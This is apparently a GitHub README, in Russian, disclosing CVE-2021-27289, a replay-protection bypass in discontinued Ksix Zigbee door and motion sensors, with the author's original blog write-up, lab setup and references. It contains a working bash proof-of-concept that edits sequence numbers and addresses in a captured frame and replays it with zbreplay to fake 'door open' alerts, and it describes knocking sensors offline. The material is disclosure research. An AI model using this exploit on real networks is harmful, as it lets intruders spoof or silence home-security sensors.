themalwareguardian/cve-2021-27289CVE-2021-27289: Обход защиты воспроизведения на устройствах Ksix Zigbee
Всем привет,
Думаю, профессиональным решением было бы назвать этот репозиторий именно так – ясно, описательно и по делу. Но когда я его собирал, в голову пришли и другие названия, например:
В любом случае, вот история.
Когда я готовился раскрыть новую уязвимость, я вспомнил о том, над чем работал несколько лет назад – об ошибке, которую нашел во время дипломного проекта, исследуя IoT-протоколы, такие как Thread и Zigbee. В то время я отправил отчет в MITRE, но так и не получил ответа, поэтому решил, что его просто проигнорировали.
Из любопытства я снова зашел в старый аккаунт Gmail, который использовал для отправки... и, к моему удивлению, в 2023 году – три года спустя – я увидел, что CVE всё же был присвоен.
CVE-2021-27289, связанный с уязвимостью, о которой я сообщил, будучи студентом.
Почему это заняло так много времени? Когда я впервые связался с вендором, они сказали, что у них недостаточно сотрудников, чтобы это исправить, и постоянно повторяли эту отговорку. Я сообщил MITRE, что никто, похоже, ничего не делает, так что, думаю, они ждали – вероятно, потому что проблема всё равно никогда не будет исправлена.
Ошибка затрагивала несколько IoT-устройств на базе Zigbee от компании Ksix. Основная проблема заключалась в том, что механизм защиты от воспроизведения, определенный в спецификации Zigbee и реализуемый через счетчик кадров, был реализован неправильно.
Поскольку устройства не проверяли счетчик кадров должным образом, злоумышленник мог взаимодействовать с сетью и подделывать пакеты, просто увеличив порядковый номер до значения, превышающего последнее увиденное устройством. Это позволяло повторно воспроизводить перехваченные сообщения, и они принимались как действительные – что фактически приводило к обходу аутентификации.
Этот репозиторий включает всё, над чем я работал во время дипломного проекта:
Устройства Ksix Zigbee IoT подвержены уязвимости атаки повторного воспроизведения, вызванной неправильной реализацией механизмов защиты от воспроизведения Zigbee.
Следующие версии были протестированы и признаны уязвимыми. Более поздние версии я не тестировал, поэтому они также могут быть уязвимы.
Эти продукты больше не доступны на сайте вендора или на платформах, таких как Amazon, и, по-видимому, сняты с производства.
Стек Zigbee в затронутых устройствах не обеспечивает должным образом механизм защиты от воспроизведения, который основан на поле счетчика кадров, определенном в спецификации Zigbee. Это поле предназначено для обеспечения свежести полученных сообщений и предотвращения их повторного воспроизведения.
Однако в этой реализации счетчик кадров игнорируется или проверяется некорректно. В результате злоумышленник может перехватить легитимный пакет Zigbee, увеличить его порядковый номер до более высокого значения (например, 250) и повторно воспроизвести его в сети.
Поскольку устройства проверяют только порядковый номер, они принимают сообщение как новое – что позволяет подделывать связь и выполнять несанкционированные действия без нарушения аутентификации или шифрования.
В зависимости от типа устройства и его интеграции в окружение это может вызвать ложные уведомления или поддельные состояния датчиков в приложении, которое пользователь изначально использовал для настройки сети (например, обнаружено движение, открыта дверь), хотя на самом деле ничего не произошло. В более сложных конфигурациях это может даже дестабилизировать автоматизированные сценарии или вызвать непреднамеренные действия на основе поддельных данных.
Эти устройства обычно настраиваются с помощью таких приложений, как Tuya Smart или аналогичных платформ, которые уведомляют пользователей в реальном времени при срабатывании датчика – например, когда открывается дверь или обнаруживается движение. Именно это делает следующие атаки особенно эффективными, даже если физические события никогда не происходят.
Хотя прямое влияние этой конкретной уязвимости повторного воспроизведения ограничено, более глубокое понимание протокола – например, то, которое я исследовал в своем дипломном проекте – открывает более продвинутые сценарии атак, которые могут быть реализованы с минимальными ресурсами.
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 Демо-видео***
- [YouTube Video - CVE-2021-27289: Атака повторного воспроизведения на устройства Ksix Zigbee (Обзор + Старые демо)]() - Скоро. Я перезагружу оригинальные демо, записанные ещё в 2020 году, на этот раз с комментариями, объясняющими настройку среды, процесс атаки и многое другое.
---
---
---
<div id='original-blog-post'/>
## ***📝 Оригинальный пост в блоге***
Оригинальный пост в блоге был опубликован в 2020 году на тогдашнем моём основном личном сайте (ах, ностальгия 😅). В то время я поделился техническим описанием для поддержки моего запроса CVE в MITRE, для отправки proof-of-concept эксплойта на Exploit-DB и для публикации демо-видео (которые я теперь перезагрузил на другой канал YouTube).
Ниже представлена немного переработанная версия того оригинального поста.
<div id='original-blog-post-researcher'/>
### ***👤 Исследователь***
22-летний Алехандро Васкес Васкес, только начинающий серьёзно заниматься кибербезопасностью — постепенно превращающий увлечение в карьеру.
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Основы Zigbee***
Если вы не знакомы с Zigbee, я не ожидаю, что вы прочитаете мой дипломный отчёт или полную спецификацию IEEE 802.15.4. Вместо этого я рекомендую эти отличные ресурсы для получения твёрдого понимания протокола:
- [Kudelski Security Research - Безопасность ZigBee: Основы (Часть 1)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - Безопасность ZigBee: Основы (Часть 2)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - Безопасность ZigBee: Основы (Часть 3)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbee Security 101 (Архитектура и проблемы безопасности)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [Hong Kong Computer Emergency Response Team Coordination Centre (HKCERT) - Исследование безопасности устройств (ZigBee)](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 Предыстория и мотивация***
Для моего дипломного проекта я выбрал тему, которая была несколько нетрадиционной в моём университете: вместо разработки приложения я полностью сосредоточился на исследовании и анализе протоколов связи. Я выбрал этот путь, потому что он позволил мне изучить то, что я тогда считал критической областью — безопасность IoT-устройств.
Моя работа была сосредоточена на протоколах Zigbee и Thread, а также на их основе: IEEE 802.15.4. После того как я изучил достаточно технической документации и академических исследований, я перешёл к практическому тестированию с реальными устройствами, стремясь воспроизвести и проанализировать известные уязвимости в этой области.
<div id='original-blog-post-early-experiments'/>
### ***🔍 Ранние эксперименты***
Мои тесты начались с Zigbee-датчика движения. Я хотел проверить, как устройство отреагирует на поддельное управляющее сообщение — в частности, на кадр перенастройки сети, который обычно используется для сброса параметров конфигурации Zigbee. Я внедрил его в сеть, чтобы имитировать перенастройку — и это сработало. Датчик по-прежнему отображался как "подключённый" в мобильном приложении (том, которое я использовал для настройки сети), но на самом деле он потерял связь с координатором, и его пришлось сбрасывать вручную. Это показало мне, что устройство принимает определённые пакеты без строгой проверки.
Воодушевлённый этим результатом, я перешёл к атакам повторного воспроизведения. С помощью сниффера я захватил стандартные сообщения Zigbee от дверного датчика (например, "дверь открыта" и "дверь закрыта"). После сброса сети Zigbee я воспроизвёл эти пакеты без изменения каких-либо полей. К моему удивлению, мобильное приложение выдавало уведомления в реальном времени, как будто дверь только что открыли или закрыли — хотя я просто воспроизводил ранее захваченные сообщения.
Это подтвердило, что механизмы защиты, предназначенные для предотвращения атак повторного воспроизведения, либо не были реализованы, либо работали неправильно на этих устройствах.
<div id='original-blog-post-discovery'/>
### ***💥 Открытие***
На этом этапе я хотел лучше понять, почему воспроизведение старых пакетов срабатывало. Zigbee определяет два ключевых поля для предотвращения такого рода атак: счётчик кадров, который увеличивается с каждым отправленным сообщением, и порядковый номер, который помогает обнаруживать дубликаты.
Поэтому я начал экспериментировать с обоими.
Сначала я захватил около 50 валидных пакетов и воспроизвёл их в сети. Я получил несколько уведомлений, как и раньше. Затем я изменил счётчик кадров, установив в каждом пакете гораздо большее значение, и попробовал снова. На этот раз ничего не произошло — никаких уведомлений. Это навело меня на мысль, что какая-то проверка всё же выполняется, но непоследовательно.
Чтобы разобраться глубже, я снова сбросил сеть Zigbee и, вместо изменения счётчика кадров, сосредоточился на порядковом номере. Я воспроизвёл те же захваченные сообщения, но постепенно увеличивал порядковый номер с каждым пакетом, имитируя поведение обычного устройства.
Это сработало.
Уведомления снова начали появляться в мобильном приложении. Вот тогда я понял, что устройства, вероятно, полагаются только на порядковый номер для определения новизны пакета — и полностью игнорируют счётчик кадров, который является полем, специально предназначенным для предотвращения атак повторного воспроизведения.
Эта ошибка означала, что, пока я продолжал отправлять пакеты с более новыми порядковыми номерами, я мог внедрять поддельные сообщения в сеть, и устройства принимали бы их как легитимные.
Итак, из-за плохой реализации — или, возможно, ограниченных вычислительных возможностей координатора (шлюза Zigbee) — я мог, просто находясь в зоне действия беспроводной сети, воспроизводить ранее захваченные сообщения, такие как "дверь открыта" или "дверь закрыта". Эти поддельные события затем отображались в мобильном приложении точно так, как если бы они произошли в реальной жизни.
<div id='original-blog-post-exploitation'/>
### ***🧨 Эксплуатация***
Эксплуатация уязвимости тривиальна:
Вы захватываете валидный кадр Zigbee, изменяете порядковый номер на большее значение и воспроизводите его. Принимающее устройство принимает сообщение, и пользователь получает уведомление в реальном времени в своём приложении, полагая, что была реальная активность.
В некоторых тестах мне даже удалось нарушить связь устройств, что приводило к тому, что датчики оставались "онлайн" в приложении, но становились неотзывчивыми, что может быть опасно в сценариях физической безопасности.
<div id='original-blog-post-lab-setup'/>
### ***🔬 Лабораторная установка***
Тесты проводились в 2020 году с использованием небольшой лаборатории IoT-устройств на базе Zigbee, произведённых Ksix. На тот момент были подтверждены как уязвимые следующие модели и версии прошивок:
- Zigbee Gateway Module – v1.0.3
- Gateway Main Module – v1.1.2
- Door Sensor – v1.0.7
- PIR Motion Sensor – v1.0.12
Для проведения атак и захвата трафика Zigbee я использовал:
- APImote, USB-сниффер для сетей IEEE 802.15.4
- KillerBee Framework для захвата, внедрения и анализа пакетов
Эта установка позволила мне моделировать реальные взаимодействия, анализировать потоки трафика и тестировать сценарии как отказа в обслуживании, так и атак повторного воспроизведения в контролируемой среде.
<div id='original-blog-post-related-research'/>
### ***📚 Связанные исследования***
Отсюда я благодарю всех исследователей, которые облегчили мой путь и из публикаций которых я узнал наиболее распространённые векторы атак и уязвимости этого типа IoT-сетей:
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Security Analysis of Zigbee.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBee Exploited: The good, the bad and the ugly. Magdeburger Journal zur Sicher-heitsforschung, 12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). An Investigation on IEEE 802.15.4 MAC Layer Attacks. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "On the IEEE 802.15.4 MAC Layer Attacks: GTS Attack," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "New Replay Attacks on ZigBee Devices for Internet-of-Things (IoT) Applications," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). Three Practical Attacks Against ZigBee Security: Attack Scenario Definitions, Practical Experiments, Countermeasures, and Lessons Learned.. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)